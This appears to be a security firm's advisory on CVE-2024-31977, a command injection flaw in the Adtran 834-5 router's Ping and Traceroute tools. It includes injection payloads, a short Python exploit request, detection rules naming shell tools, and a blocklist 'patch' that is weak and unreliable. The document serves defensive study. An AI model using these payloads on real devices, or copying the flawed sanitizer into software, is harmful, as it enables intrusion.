CVE-2024-31977

Executive Summary

CVE-2024-31977 is an OS Command Injection vulnerability affecting the Adtran 834-5 device running SmartOS version 11.1.0.101-202106231430. The flaw exists in the Ping and Traceroute utilities, where user-supplied input is not properly sanitized, allowing an attacker to inject arbitrary OS commands via shell metacharacters. Successful exploitation could lead to full device compromise, including data exfiltration, lateral movement, and persistent access. The vendor has released a fix in SmartOS Version 12.6.3.1. No public proof-of-concept (PoC) or exploit code has been identified at this time.

CVSS Breakdown & Threat Level

• CVSS Score: 0.0 (No official CVSS vector assigned)
• Threat Level: High (based on impact and ease of exploitation)
• Attack Vector: Network (likely adjacent or local network)
• Attack Complexity: Low
• Privileges Required: Low (user-level access to the web interface or CLI)
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: High
• Integrity Impact: High
• Availability Impact: High

Deep Dive & Mechanics

The vulnerability resides in the Ping and Traceroute diagnostic utilities of the Adtran 834-5 device. These utilities accept user input (e.g., IP addresses or hostnames) and pass it directly to the underlying operating system shell without proper sanitization. An attacker can inject shell metacharacters such as ;, |, &, $(), or backticks to execute arbitrary commands.

Example injection:

8.8.8.8; whoami

This would execute ping 8.8.8.8; whoami, revealing the current user context.

The device runs SmartOS, a proprietary operating system. The vulnerable version is 11.1.0.101-202106231430. The fix in version 12.6.3.1 likely involves input validation and escaping of shell metacharacters.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

# In a script or binary handling ping/traceroute
ping $user_input

Patched Code (Conceptual):

# Sanitize input by escaping shell metacharacters
sanitized_input=$(echo "$user_input" | sed 's/[;&|$(){}]//g')
ping "$sanitized_input"

Exploitation & Lab Setup

Red Team

Prerequisites:

• Access to the Adtran 834-5 web interface or CLI with user-level credentials.
• Network connectivity to the device.

Exploitation Steps:

1. Log in to the device.
2. Navigate to the Ping or Traceroute utility.
3. Inject a command using shell metacharacters. Example:

   8.8.8.8; id > /tmp/exploit.txt
   

4. Verify execution by checking the output or accessing the created file.

Automated Exploit (Python):

import requests

target = "http://<device_ip>/ping"
payload = "8.8.8.8; whoami"
data = {"host": payload}
response = requests.post(target, data=data)
print(response.text)

Blue Team

Detection:

• Monitor logs for unusual characters in Ping/Traceroute requests.
• Look for commands like id, whoami, cat /etc/passwd in device logs.
• Use network monitoring to detect outbound connections from the device to unknown IPs.

Honeypot:

• Set up a fake Adtran 834-5 device to capture exploitation attempts.

Indicators of Compromise (IOCs)

• Network: Unusual outbound connections from the device to IPs not in the normal traffic pattern.
• Logs: Entries containing shell metacharacters (;, |, &, $()) in Ping/Traceroute fields.
• Files: Unexpected files in /tmp/ or other writable directories (e.g., /tmp/exploit.txt).
• Processes: Unusual processes spawned by the web server or CLI utilities.

Detection Engineering

YARA Rule

rule CVE_2024_31977_Adtran_OS_Command_Injection {
    meta:
        description = "Detects OS command injection attempts in Adtran 834-5 Ping/Traceroute"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-31977"
    strings:
        $cmd1 = /[;&|`$()]/
        $cmd2 = /(whoami|id|cat|ls|pwd|nc|bash|sh)/
    condition:
        any of ($cmd*) and filesize < 10KB
}

Sigma Rule

title: Adtran 834-5 OS Command Injection Attempt
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects shell metacharacters in Ping/Traceroute requests to Adtran 834-5
author: Valters IT
logsource:
    category: webserver
    product: adtran
detection:
    selection:
        request_uri|contains:
            - ";"
            - "|"
            - "&"
            - "$("
            - "`"
    condition: selection
falsepositives:
    - Legitimate use of special characters (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-31977 Adtran 834-5 OS Command Injection"; flow:to_server,established; content:"POST"; http_method; content:"/ping"; http_uri; content:";"; http_client_body; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate: Upgrade to SmartOS Version 12.6.3.1 or later.
2. Workaround: Disable Ping and Traceroute utilities if not required.
3. Network Segmentation: Place the device in a segmented network with strict access controls.
4. Monitoring: Enable logging and monitor for suspicious activity.
5. Input Validation: Implement strict input validation and sanitization on all user-supplied data.

Valters IT